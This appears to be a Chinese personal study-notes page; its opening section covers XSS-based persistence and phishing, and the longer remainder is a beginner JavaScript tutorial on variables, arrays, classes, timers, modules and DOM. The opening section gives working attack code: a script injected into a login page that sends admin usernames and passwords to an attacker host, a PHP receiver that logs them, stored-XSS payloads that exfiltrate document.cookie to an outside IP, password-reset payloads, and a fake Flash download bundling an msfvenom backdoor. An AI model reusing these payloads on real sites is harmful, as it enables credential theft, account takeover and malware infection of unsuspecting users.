js&xss扩展

其它xss

低版本IE-xss

uxss

利用的是客户端(浏览器)本身的漏洞

flash-xss

swf与js代码应用

swf文件下载后反编译

PDFXSS

PDF动作添加->文件上传,获取直链,值链被访问时触发

权限维持

技术

1.后台植入cookie/表单劫持

条件:取得相关web权限后(不是黑盒测试了)

1.写入代码到登录成功文件(写到源码里,如index.php的头部或尾部来一个<script>),利用beef或xss平台实时监控cookie

2.同源策略或其他防护条件下,使用表单劫持明文传输实现

比如

1
2
3
4
5
6
7
<script src="http://jieshou.com/get.php?user=账号&pass=密码"></script>

#对于php这样写,将下列语句插入到登录的php文件中
$x='<script src=http://jieshou.com/get.php?user='.$admin_name.'&pass='.$admin_pass.'></script>';
echo $x;
或者
windows.location.href=...

服务器准备一个接收文件get.php,传参可以是cookie可以是账号等,内容为

1
2
3
4
5
6
7
8
9
10
<?php
$u=$_GET['user'];
$p=$_GET['pass'];
$myfile=fopen("newfile.txt","w+ ");
fwrite($myfile,$u);
fwrite($myfile,'|');
fwrite($myfile,$p);
fwrite($myfile,'\n');
fclose($myfile);
?>

2.flash钓鱼页+msf

仿造的一个下载flash软件的页面

将该页面文件,即index.html中添加为

1
2
<span>立即下载</span>
<a href="http://attacker.com/flash_install.exe" target=_self>立即下载</a>

当然,这个exe是正版的,真正有猫腻的在于捆绑部分

msfvenom 生成一个后门exe叫做 flash.exe

将正版安装包和flash.exe下到一起后,用rar打包

设置解压路径为绝对路径

设置好路径+软件名

攻击的时候可以来一个html页面,去诱导它升级flash,对方点击确认后,跳转到假的flash页面

受害者下载后,攻击者这边就可以msf监听

3.xss-浏览器网马配合msf访问上线

条件:beef上线受控后直接钓鱼(浏览器存在0day)

1.配置msf生成url

msf生成一个网马

2.诱导受害者访问

例子1

当我注册登录一个页面后,有查看其他用户的账号和密码的页面,记为页A,但提示说不是 管理员,无法查看

可以利用存储性xss,将xss插入到密码中

注册一个账号,密码为:

1
<script>windows.location.href='http://121.121.121.121/get.php?c='+document.cookie</script>

这个是为了将管理员cookie传参到攻击者的一个接收cookie的文件上,一旦管理员登录,就可以接收到它的cookie

攻击者刷新 页A,然后替换cookie,达到查看目的

防御:Cookie凭据失效处理,如一次性

这个时候用 js获取表单,密码为一个获取当前页面内容的js,当管理员访问的时候,将该页面内容返回回来

xss接收平台,将后台页面的内容直接获取

例子2

后台管理员有功能页面,查看注册用户的账号和密码

其中有一个修改的密码,(抓包分析,需要用户登录状态),通过访问一个地址即可修改密码

攻击:注册一个用户名和密码存在跳转修改密码的URL地址链接,当管理员登录后台,查看了用户的注册密码信息,就可以尝试重置密码

你比如将用户名设置为:

1
<script>windows.location.href='http://127.0.0.1/api/change.php?p=123';</script>

这样登录的话,没准可以admin,123登录成功

对于用户管理页面,抓个包,拦截一下,没准就可以看到信息

例子3-post

如果对于表单是post请求的话

1
$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});

js

javascript

干什么

  1. 为网站提供交互功能
  2. 构建web或者移动端应用
  3. 开发一个命令行工具

工具

vscode、chrom

vscode扩展:

​ live server:每次保存js都会实时更新浏览器的一些变化

1.开始

创建三个文件,js、html、css

在html下

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>菜鸟教程(runoob.com)</title>
<link rel="stylesheet" href="style.css"> <!--link css文件-->

</head>
<body>

<script src="index.js"></script> <!--link js文件-->
</body>
</html>

2.变量+显示

  1. Declaration:(var,let,const)
  2. Assignment:(* assignment operator)

看一下js的效果

这只是控制台输出,那怎么输出到网页中去呢?

首先html定义三个字段

1
2
3
4
5
6
<body>
<p id="p1"></p>
<p id="p2"></p>
<p id="p3"></p>
<script src="index.js"></script>
</body>

js中添加

1
2
3
document.getElementById("p1").innerHTML="my age is "+age;
document.getElementById("p2").innerHTML="i am a student? "+stu
document.getElementById("p3").innerHTML="my name is "+name;

效果

js显示于html

3.运算符

+,-,*,/,%

类似于所学的语言了,不解释了

4.输入

法一window.prompt

1
2
let username=window.prompt("psz input your name?");
console.log(username);

效果

image-20231109151039368

法二: html text box

在html下

1
2
3
<label id="mylabel">ENter your name!</label></br>
<input type="text" id="myinput"></br>
<button type="button" id="subbmit">提交</button></br>

提交

在js下添加点击事件

1
2
3
4
5
6
7
document.getElementById("subbmit").onclick=function(){
username=document.getElementById("myinput").value;
console.log(username);
//顺便更改标签的值
document.getElementById("mylabel").innerHTML="Hello! "+username;
}

改变label

5.类型转换

1
2
3
4
5
6
7
let x,y,z;
x=Number(3.14);
y=String(3.14);
z=Boolean("Yuleiyun");
console.log(x,typeof x); //3.14 'number'
console.log(y,typeof y); //3.14 string
console.log(z,typeof z); //true 'boolean'

6.常量

1
2
3
const pi=123;
pi=2323;//会报错
console.log(pi);

7.数学运算符

pow(),round()、ceil()、floor()用到再说

8.计数机制

html

1
2
3
4
5
6
<label id="mylabel">0</label></br>
<span id="en">
<button id="dec">减1</button>
<button id="res">重置</button>
<button id="inc">加1</button>
</span>

js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
let count=0;
document.getElementById("dec").onclick=function(){
count-=1;
//count--;
document.getElementById("mylabel").innerHTML=count;
}
document.getElementById("res").onclick=function(){

document.getElementById("mylabel").innerHTML=0;
}
document.getElementById("inc").onclick=function(){
count+=1;
document.getElementById("mylabel").innerHTML=count;
}

css

1
2
3
4
5
#mylabel{
display:block;
text-align:center;
font-size:50px;
}

9.杂项

随机数生成

截取

它是自带的slice(),用法同substr

1
2
3
4
5
user="hello!yu";
//user=user.slice(4);// o!yu
//user=user.slice(2,4);//ll 左闭右开
//user=user.slice(0,user.indexOf("y"));//hello!
console.log(user);

if else/and,or,not/while,for,嵌套for/break,continue

函数

1
2
3
4
5
6
7
8
9
10
11
12
start();

function start(){
let p1="sada";
let p2="12312";
func2(p1,p2);
}

function func2(a,b){
console.log("It's "+a);
console.log("It's "+b);
}

return 也是可以的

三元符

1
2
3
4
5
6
7
let num=check(15);

console.log(num);

function check(n){
return n>20?"yes":"no";
}

var与let

1.let 限制在 **{}**里;而var用在一个函数格式 func(){} 里,

1
2
3
4
5
6
7
8
9
for(let i=1;i<=3;i++){ //i没有定义

}
console.log(i);

for(var i=1;i<=3;i++){ //i=4

}
console.log(i);

但是如果值在函数中声明了,函数外需要使用时,需要将这个指 全局定义

2.用var定义全局时,会在浏览器的window属性找到

let定义的找不到,或者说,它改不了

反引号与参数-嵌入文本吧

1
2
3
let name="b2323";
console.log("hello, ",name);//hello, b2323
console.log(`hello ${name}`);//hello b2323

形式处理

比如保留多少位,字符串格式什么的

猜字游戏

html

1
2
3
<label id="mylabel">Guess the num 1-10</label></br>
<input id="myinput"></br>
<button id="mybutton">提交了</button>

js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const num=Math.floor(Math.random()*10+1);//1-10
let guesscount=0;
console.log(num);
document.getElementById("mybutton").onclick=function(){
let guess=document.getElementById("myinput").value;
guesscount+=1;

if(guess==num){
alert(`${num} is the #. It took your ${guesscount} times!`);
}
else if(guess<num)
{
alert("too small");
}
else {
alert("too large");
}

}

单选

html

1
2
3
4
5
6
7
<label id="mylabel">选择一个颜色</label></br>
<input type="radio" id="r1" name="unit">
<label>blue</label></br>
<input type="radio" id="r2" name="unit">
<label>red</label></br>
<button id="mybutton">提交</button>
<label id="templabel"></label>

js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
document.getElementById("mybutton").onclick=function(){
let res=document.getElementById("templabel");
if(document.getElementById("r1").checked)
{
res.innerHTML="你选了蓝色";
}
else if(document.getElementById("r2").checked){
res.innerHTML="你选了红的";
}
else
{
res.innerHTML="选一个吧";
}
}

数组

略,用到的时候再补

排序sort

二维数组遍历

1
2
3
4
5
6
7
8
9
10
let p1=['a','b','c'];
let p2=['d','e','f'];

let p=[p1,p2];
p[0][1]="asd"; //替换了b
for(let list of p){//行
for(let zm of list){//列
console.log(zm);
}
}

展开运算符

1
2
3
4
5
6
let p1=['a','b','c'];
let p2=['d','e','f'];

//p1.push(p2);//会压缩p2内容  ['a', 'b', 'c', Array(3)]
p1.push(...p2);//['a', 'b', 'c', 'd', 'e', 'f']
console.log(p1);

剩余参数

解决参数拿不准的情况

比如一个函数是加和参数,但是不清楚参数个数

1
2
3
4
5
6
7
8
9
10
11
12
13
//剩余参数
let a=1,b=2,c=3,d=4,e=5;

console.log(sum(a,b,c,d,e));

function sum(...nums){
let total=0;
for(let num of nums){
console.log(`this is ${num}`)
total+=num;
}
return total;
}

callback

函数本身 作为一个参数传递给另一个函数

如果这样传,比较麻烦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
let out=sum(2,3);
console.log(out);
passval(out);
function sum(x,y){
return x+y;
}
function passval(n){
document.getElementById("templabel").innerHTML=n;
}

//改进后,
sum(2,3,passval);
function sum(x,y,callback){
callback(x+y);
}
function passval(n){
document.getElementById("templabel").innerHTML=n;

}

array.forEach()

对数组元素进行操作

1
2
3
4
array.forEach(function callback(currentValue, index, array){
//处理逻辑
});
/*currentValue代表当前遍历到的元素,index代表当前元素的索引,array代表数组本身*/

例子:让每个元素首字母大写

1
2
3
4
5
6
7
8
let arr=["aliba","niude","hah"];
arr.forEach(daxie);
function daxie(element,index,array){
// array[index],数组的第index个元素
array[index]=element[0].toUpperCase()+element.substring(1);
//substring(1)从字符串的第一个字符开始截取到完
}
console.log(arr);//['Aliba', 'Niude', 'Hah']

array.map()

返回一个新数组,数组中的元素为原始数组元素调用函数处理后的值

1
2
array.map(function(currentValue,index,arr), thisValue)
thisValue可选
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let shuzi=[1,2,3,4,5];
let squres=shuzi.map(squre);

console.log(squres);//输出数组 [1, 4, 9, 16, 25]

function squre(element){
return Math.pow(element,2);
}


squres.forEach(print);//输出单个元素
function print(element){
console.log(element);
}

array.filter()

创建一个新的数组,新数组中的元素是通过检查指定数组中符合条件的所有元素,没有符合的就空数组

1
array.filter(function(currentValue,index,arr), thisValue)
1
2
3
4
5
6
7
8
9
let age=[18,19,25,30,45,16];
let ages=age.filter(show);

console.log(ages);//[25, 30, 45]

function show(element){
if(element>20) return element;
}

array.reduce

将数组成一个单值

例子,加和为单值

1
2
3
4
5
6
7
8
let list=[1,2,3,4,5,6,7,8,9,10];

let lists=list.reduce(check);

console.log(lists);//55
function check(total,element){
return total+element;
}

数组排序

1
2
3
4
5
6
7
8
9
10
11
12
13
let nums=[1,6,5,7,3,11];

nums=nums.sort(jiangxu);//[11, 7, 6, 5, 3, 1]
nums=nums.sort(shengxu);//[1, 3, 5, 6, 7, 11]
console.log(nums);

function jiangxu(x,y){
return y-x;
}

function shengxu(x,y){
return x-y;
}

函数表达式(匿名函数)

就是指计数时的这种方式

没必要给函数创建唯一的名称,或者说是省略了造名字的过程

1
2
3
4
5
6
7
8
9
10
11
document.getElementById("dec").onclick=function(){
count-=1;
document.getElementById("mylabel").innerHTML=count;
}

//而不是

/*dasda();
function dasda(){
.......
}*/

箭头函数(Lambda 函数)

或者说紧凑函数,去掉了function,用**=>{}**

语句只有一句,可以省略**{}**

例1,无参或一个参数

1
2
3
4
5
6
7
8
9
10
11
//这是传统的函数表达式
const greeting=function(user){
console.log(`1232, is ${user}`);
}

greeting("bro");//1232, is bro


//箭头函数呢
const greeting=(user)=>console.log(`1232, is ${user}`);
greeting("bro");

例2-两个参数

1
2
3
4
5
6
7
8
9
//传统
const func2=function(x,y){
return x+y;
}
console.log(func2(5,8));//13

//箭头
const func2=(x,y)=>x+y;
console.log(func2(5,8));//13

例3-排序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

let nums=[1,3,6,4,2,9,7];

nums= nums.sort(des);
console.log(nums);//[9, 7, 6, 4, 3, 2, 1]
function des(x,y){//倒序
return y-x;
}

nums.forEach(print);//单个打印
function print(e){
console.log(e);
}

//传统
let nums=[1,3,6,4,2,9,7];

nums= nums.sort(function(x,y){
return y-x;
});
console.log(nums);//[9, 7, 6, 4, 3, 2, 1]


nums.forEach(function(e){
console.log(e);
});//单个打印


//=>
let nums=[1,3,6,4,2,9,7];

nums= nums.sort((x,y)=>{y-x;});
console.log(nums);//[9, 7, 6, 4, 3, 2, 1]

nums.forEach((e)=>{ console.log(e);});//单个打印
//花括号可以去掉

打乱数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
let cards=['A','2','3','4','5','6','7','8','J','K'];

cards=shuffle(cards);//数组
console.log(cards);//每次运行都是打乱的


function shuffle(array){
let currentindex=array.length;//从最后一张开始洗牌
while(currentindex!=0)//洗到第一张为止
{
let randomindex=Math.floor(Math.random()*array.length);
currentindex-=1;

let temp=array[currentindex];
array[currentindex]=array[randomindex];
array[randomindex]=temp;
}
return array;
}

//=>
const xipai=(array)=>{
let currentindex=array.length;//从最后一张开始洗牌
while(currentindex!=0)//洗到第一张为止
{
let randomindex=Math.floor(Math.random()*array.length);
currentindex-=1;

let temp=array[currentindex];
array[currentindex]=array[randomindex];
array[randomindex]=temp;
}
return array;
}
console.log(xipai(cards));

嵌套函数

外面的函数有权访问内在的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//例1
let username="Yuleiyun";
let userno=0;

//showname();
//showno(); //这样我是无权访问内部函数了
login();//所以要依靠外部函数去访问,可以理解为内在函数被保护了

function login()
{
showname();
showno();

function showname(){
console.log(`welcome! ${username}`);
}
function showno(){
console.log(`you have ${userno}`);
}
}
/*function showname(){
console.log(`welcome! ${username}`);
}
function showno(){
console.log(`you have ${userno}`);
}*/

map 键值对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const jiangjin=new Map([
["wo",100],
["ta",200],
["you",300]
]);
jiangjin.set("he",500);//添加
jiangjin.delete("he");//删除
jiangjin.forEach((val,key)=>console.log(`name:${key},money:${val}`));
/*
name:wo,money:100
name:ta,money:200
name:you,money:300
*/

console.log(jiangjin.has("ta"));//true
console.log(jiangjin.size);//3

let total=0;
total+=jiangjin.get("wo");//获取奖金总数
total+=jiangjin.get("you");
console.log(total);//400

object

对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*
属性:一个对象有什么
方法:一个对象能做什么
使用 . 去访问属性和方法
*/
const person={
name:"Yuleiyun",
age:19,
color:"blue",

eat: function(){
console.log("He's Eatting!");
},
study:function(){
console.log("He's studying!");
}
}
console.log(person.name);
console.log(person.age);
console.log(person.color);
person.eat();
person.study();
/*
Yuleiyun
index.js:417 19
index.js:418 blue
index.js:410 He's Eatting!
index.js:413 He's studying!
*/

this关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const person1={
name:"Yuleiyun",

eat: function(){
// console.log(`${name} is Eatting!`); //读不到
console.log(`${this.name} is Eatting!`); //等价于 ${person1.name}
}
}

const person2={
name:"asdasd",

eat: function(){
console.log(`${this.name} is Eatting!`);//等价于 ${person2.name}
}
}

person1.eat();//Yuleiyun is Eatting!
person2.eat();//asdasd is Eatting!

//此外,它可以替换window对象的属性
this.name="123213";
//实质上是
window.name="123213";

classes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/*
创建对象
定义对象的属性和方法
构造每一个特定的实例
*/
class person{
age=19

eat(){
console.log("eat sth");
}
study(){
console.log("study sth");
}
}

const p1=new person();
const p2=new person();
const p3=new person();
console.log(p1.age+1);//20
p1.eat();//eat sth
console.log(p2.age+2);//21
console.log(p3.age+3);//22

classes与上面object的关系,如果仅仅是object,它会需要重新构造属性和方法;但是class,只需要一个模板即可,仅仅只是声明一个个实例即可访问

constructor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//constructor
/*
类的一种特殊方法,接受参数、分配属性
*/

class person{
constructor(name,age,color){//就是constuctor,不可以自定义
this.name=name;
this.age=age;
this.color=color;
}
study(){
console.log(`${this.name} is studying sth`);
}
}

const p1=new person("Yu",14,"blue");
console.log(p1.name);//Yu
console.log(p1.age);//14
console.log(p1.color);//blue
p1.study();//Yu is studying sth
const p2=new person("Lei",21,"red");
console.log(p2.name);//Lei
console.log(p2.age);//21
console.log(p2.color);//red
p2.study();//Lei is studying sth

static 关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Person{

numbers=0;
constructor(name){
this.name=name;
this.numbers+=1;
}

}
const p1=new Person("Yu");
const p2=new Person("Lei");
const p3=new Person("sq");

//想要统计人的数量,应该是每创建一个,numbers就+1,
//但是呢,创建了三个,都是1
console.log(p1.numbers);//1
console.log(p2.numbers);//1
console.log(p3.numbers);//1
//因为每次numbers都是从0开始,而不是累加性质,所以要引入静态变量

static 属性

静态属性的话,偏向于缓存,统计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Person{

static numbers=0;
constructor(name){
this.name=name;
Person.numbers+=1;
}

}
const p1=new Person("Yu");
const p2=new Person("Lei");
const p3=new Person("sq");

console.log(Person.numbers);//3

static 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Person{

constructor(name){
this.name=name;
}
// start(){
// console.log("here we go!");
// }
static start(){
console.log("here we go!");
}

}
const p1=new Person("Yu");
const p2=new Person("Lei");
const p3=new Person("sq");

// p1.start();
// p2.start();
// p3.start();

//我的本意是,跑步,三个人一起跑,而不是各跑各的
Person.start();//here we go!

所以为什么,Math.rand(),而不是const math=new Math();math.rand()

函数库都是静态方法,就是封装好了,直接调用,无法扩展,性能上好一点

继承,inheritance

子类与父类的这种,嗯,子类可以继承父类的公有成员和函数,解决一些类上面不必要的重复,公共的函数就直接用,也重写一下,还可以加自己的扩展函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//正常情况下:
class Fish{

alive=true;
name="fish";
eat(){
console.log(`${this.name} is eating!`);
}
sleep(){
console.log(`${this.name} is sleeping!`);
}
swim(){
console.log(`${this.name} is swimming!`);
}

}
class Dog{

alive=true;
name="dog";
eat(){
console.log(`${this.name} is eating!`);
}
sleep(){
console.log(`${this.name} is sleeping!`);
}
run(){
console.log(`${this.name} is running!`);
}

}
class Bird{

alive=true;
name="bird";
eat(){
console.log(`${this.name} is eating!`);
}
sleep(){
console.log(`${this.name} is sleeping!`);
}
fly(){
console.log(`${this.name} is flying!`);
}

}

正常情况下,三个类,Fish、Dog、Bird,它们有共同属性 alive,公共方法 eat,sleep,而且它们的都有共性是 Animal,所以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
class Animal{

alive=true;
eat(){
console.log(`${this.name} is eating!`);
}
sleep(){
console.log(`${this.name} is sleeping!`);
}
}
class Fish extends Animal{

name="fish";

swim(){
console.log(`${this.name} is swimming!`);
}

}
class Dog extends Animal{

name="dog";

run(){
console.log(`${this.name} is running!`);
}

}
class Bird extends Animal{

name="bird";

fly(){
console.log(`${this.name} is flying!`);
}

}
const fish=new Fish();
console.log(fish.alive);
fish.eat();
fish.sleep();
fish.swim();
/*
true
fish is eating!
fish is sleeping!
fish is swimming!
*/
const dog=new Dog();
dog.eat();
dog.sleep();
dog.swim();//报错
dog.run();
/*
dog is eating!
dog is sleeping!
dog.swim is not a function
dog is running!
*/
const bird=new Bird();

super

用于引用父类构造器的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Animal{

}
class Dog extends Animal{
constructor(name,age,runspeed){
this.name=name;
this.age=age;
this.runspeed=runspeed;
}
}
class Fish extends Animal{
constructor(name,age,swimspeed){
this.name=name;
this.age=age;
this.swimspeed=swimspeed
}
}
const dog=new Dog("dog",15,40);
console.log(dog.name);
console.log(dog.age);
console.log(dog.runspeed);
/*
Must call super constructor
in derived class before accessing
'this' or returning from derived constructor
*/

使用super,可以提高代码的重用性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class Animal{
constructor(name,age){
this.name=name;
this.age=age;
}
}
class Dog extends Animal{
constructor(name,age,runspeed){
super(name,age);
this.runspeed=runspeed;
}
}
class Fish extends Animal{
constructor(name,age,swimspeed){
this.name=name;
this.age=age;
this.swimspeed=swimspeed
}
}
const dog=new Dog("dog",15,40);
console.log(dog.name);
console.log(dog.age);
console.log(dog.runspeed);
/*
dog
15
40
*/

//也可以这样
class Animal{

}

class Dog extends Animal{
constructor(name,age,runspeed){
super(); //加一句这个
this.name=name;
this.age=age;
this.runspeed=runspeed;
}
}

个人理解,就是你一旦在子类中有一个构造函数,那么不管父类有没有构造函数,你这个super()必须要有,它这个设定就是 优先确保父类的构造函数先被调用;

当然在实际的代码中,父类是肯定有一个构造函数的,总之有了super,还是提高了代码的重写性,简洁点。

this和super

super() 从子类中调用父类的构造方法,this() 在同一类内调用其它方法

get 只读

引入

1
2
3
4
5
6
7
8
9
10
11
12
13
class Person{
constructor(score){
this._score=score;
}

}
const p1=new Person(60);
console.log(p1._score);//60
/*
我如果想要让它后面加个单位呢?
也就是说我需要对这个值进行一个处理,当我输入的时候,我直接输出就可以拿到这个处理好的内容
*/
console.log(`${p1._score} points`);//60 points

引入get后是这样的

1
2
3
4
5
6
7
8
9
10
11
12
class Person{
constructor(score){
this._score=score;
}
get score(){
return `${this._score} points`;
}
}
const p1=new Person(60);
console.log(p1.score);//60 points
p1.score=1231231123;
console.log(p1.score);//60 points

现在的值是只读的,如果我想改一个值怎么办,比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Person{
constructor(score){
this._score=score;
this._ok=12;
}
get score(){
return `${this._score} points`;
}
get ok(){
return `${this._ok} n`;
}

}
const p1=new Person(60);
console.log(p1.score);//60 points
p1.ok=789;
console.log(p1.ok);//12 ok

set 修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
...
set ok(val){
//其它限制,对该值的修改限制
/*
if(val>800)
{
val=800
}
else if(val<0){
val=200
}
*/
this._ok=val;
}

}
const p1=new Person(60);
p1.score=456;
console.log(p1.score);//60 points
p1.ok=789;
console.log(p1.ok);//789 n

算是为了保护自己的私有属性吧,使用get,set可以保护私有属性的同时,提供外部访问的条件

objects 作为参数

这里已经体现到封装思想了,就是用户使用的时候,只需要调用该方法,知道输出就行,不需要考虑内部细节,且一次调用就实现要求即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class Person{
constructor(name,age,score){
this.name=name;
this.age=age;
this.score=score;
}
}
const p1=new Person("Yujj",12,45);
const p2=new Person("Ygffgh",23,35);
//对一个object,我要输出三个属性,就要自己写三个输出
//那我封装一个

show(p1);
function show(p){
console.log(p.name);
console.log(p.age);
console.log(p.score);
}
/*
Yujj
12
45
*/
//修改也可以

change(p1,"12312321");
show(p1);
function change(p,val){
p.age=val;
}
/*
Yujj
12312321
45
*/

数组和对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Person{
constructor(name,age,score){
this.name=name;
this.age=age;
this.score=score;
}
eat(){
console.log(`${this.name} is eating!`);
}
}
const p1=new Person("Yujj",12,45);
const p2=new Person("gffgh",23,35);
const ps=[p1,p2];
console.log(ps[0].name);
console.log(ps[1].name);
ps[0].eat();
/*
Yujj
gffgh
Yujj is eating!
*/

匿名对象

不需要想名字啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 class Person{
constructor(name,score){
this.name=name;
this.score=score;
}
}
// const p1=new Person("asda",123);
// const p2=new Person("sqwe",465);
// const p3=new Person("xzc",789);

let ps=[
new Person("asda",123),
new Person("sqwe",465),
new Person("xzc",789)
]
ps.forEach((p)=> console.log(`${p.name},${p.score}`));
/*
asda,123
sqwe,465
xzc,789
*/
// ps.forEach(print);
// print(ps[0]);
// function print(p){
// //console.log(`${p.name},${p.score}`);
// }

捕获异常

try…catch

1
2
3
4
5
6
7
8
9
try{

console.lag();

}catch(error){

console.log(error.message);
//console.lag is not a function
}

try…throw…catch

手动抛出一个异常

1
2
3
4
5
6
7
8
9
10
11
12
13
try{

let x=window.prompt("Enter #");
x=Number(x);
//弹窗内容是非数字时
if(isNaN(x)) throw "this is NaN,not number";
//弹窗内容是空时
if(x=="") throw "this is empty,not number";

}catch(error){

console.log(error);
}

setTimeout()

浏览器在一个指定的等候时间去执行指定代码

每一次刷新,它都会循环执行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
let hobby="篮球";
let price=100.99;

//执行的方法,和等候时间
setTimeout(firstmess,3000,hobby,price);
setTimeout(secondmess,5000);
setTimeout(thirdmess,9000);

function firstmess(hobby,price){
alert(`the ${hobby} is $${price}`);
}
function secondmess(){
alert(`this is $100`);
}
function thirdmess(){
alert(`the final`);
}

**clearTimeout() **

指定一个id,取消该 setTimeout() 所设定的定时执行,不会影响其它id的setTimeout()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
let hobby="篮球";
let price=100.99;

//执行的方法,和等候时间
let id1=setTimeout(firstmess,3000,hobby,price);
let id2=setTimeout(secondmess,5000);
let id3=setTimeout(thirdmess,9000);

function firstmess(hobby,price){
alert(`the ${hobby} is $${price}`);
}
function secondmess(){
alert(`this is $100`);
}
function thirdmess(){
alert(`the final`);
}
document.getElementById("mybutton").onclick=function(){
// clearTimeout(id1);
clearTimeout(id2);//点击按钮后,不会执行id2
//clearTimeout(id3);
//alert(`取消id2`);

}

setInterval 定时器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//setInterval() //定时器
let count=0;
let max=window.prompt("输入一个数");

const myTimer=setInterval(countUp,3000);

function countUp(){
count+=1;
console.log(count);
if(count>=max){
clearInterval(myTimer);
}
}
//间隔一定时间输出1-9

钟表设计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const mylabel=document.getElementById("mylabel");

update();
setInterval(update,1000); //动态执行
function update(){
let date=new Date();
//mylabel.innerHTML=date;
mylabel.innerHTML=fomatTime(date);

function fomatTime(date){//形式化date
let hours=date.getHours();
let minutes=date.getMinutes();
let seconds=date.getSeconds();
let amorpm=hours>=12?"pm":"am";

hours=(hours%12)||12;//12小时制

//单数添0,凑两位
hours=singlezero(hours);
minutes=singlezero(minutes);
seconds=singlezero(seconds);

return `${hours}:${minutes}:${seconds} ${amorpm}`;
}
function singlezero(time){//单数添0
time=time.toString();
return time.length<2?"0"+time:time;
}
}

promise

https://www.runoob.com/js/js-promise.html

ES6 moudules

这个相当于引用外部文件

https://www.runoob.com/w3cnote/es6-module.html

模块化,导入导出两个模块

给定 math_util.js

导出

1
2
3
4
5
6
7
8
export const PI=3.1415926;

export function getC(r){
return 2*PI*r;
}
export function getA(){
return PI*Math.pow(r,2);
}

导入

index.js去导入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import {PI,getC,getA} from "./math_util.js";
console.log(PI);
console.log(getC(2));
console.log(getA(2));
/*
3.1415926
12.5663704
28.2743334
*/
//或者
import * as Mathutil from "./math_util.js";
console.log(Mathutil.PI);
console.log(Mathutil.getC(2));
console.log(Mathutil.getA(3));

html文件的<script>需要引入

1
<script type="module" src="index.js"></script>

DOM

Document Object Model,一种API接口,可以改变页面内容

https://www.runoob.com/js/js-htmldom.html

1
2
3
4
5
6
7
8
9
10
console.log(document);//大致标签
console.dir(document);//细节属性
console.log(document.title);//网页标题
console.log(document.URL);//网页url

document.title="Here we go!";//更改网页标题
//document.location="http://www.google.com";//跳转到google页面

document.body.style.backgroundColor="skyblue";//更改页面背景
document.getElementById("mylabel").innerHTML="Hello!!";//元素名字

元素选择器

name选择

html

1
2
3
4
5
<input type="radio" id="r1" name="unit" value="蓝色" checked="checked">
<!-- checked="checked" 是默认选中-->
<label for="r1">blue</label></br>
<input type="radio" id="r2" name="unit" value="红色">
<label for="r2">red</label></br>

js

1
2
3
4
5
6
7
8
9
10
11
let e=document.getElementById("mytitle");
e.style.backgroundColor="blue";

let color=document.getElementsByName("unit");
console.log(color[0]);//<input type="radio" id="r1" name="unit">
console.log(color[1]);//<input type="radio" id="r2" name="unit">
color.forEach(elem=>{
if(elem.checked){
console.log(elem.value);
}
});

tagname/classname选择

1
2
let co=document.getElementsByTagName("li");
co[0].style.backgroundColor="lightgreen";

选择器

https://www.runoob.com/jsref/met-document-queryselector.html

querySelector() 方法仅仅返回匹配指定选择器的第一个元素。如果你需要返回所有的元素,请使用 querySelectorAll() 方法替代

1
2
3
4
5
6
//#id、.class、[for]、li
let ele=document.querySelector("#mytitle");
ele.style.backgroundColor="lightgreen";
//全选
let ele2=document.querySelectorAll("li");
ele2.forEach((ele)=>ele.style.backgroundColor="lightgreen");

添加html元素

1
2
3
4
5
6
7
8
9

//.innerHTML 容易受到xss攻击
const nt=document.createElement("h1");
nt.innerHTML=window.prompt("enter!");//输入xss语句的话会执行
document.body.append(nt);
//.textContent
const nt=document.createElement("h1");
nt.textContent=window.prompt("enter!");//实体化为语句,直接输出
document.body.append(nt);

也可以通过选择器,对某些列表的item,可以添加到末尾,首部或者某item之前

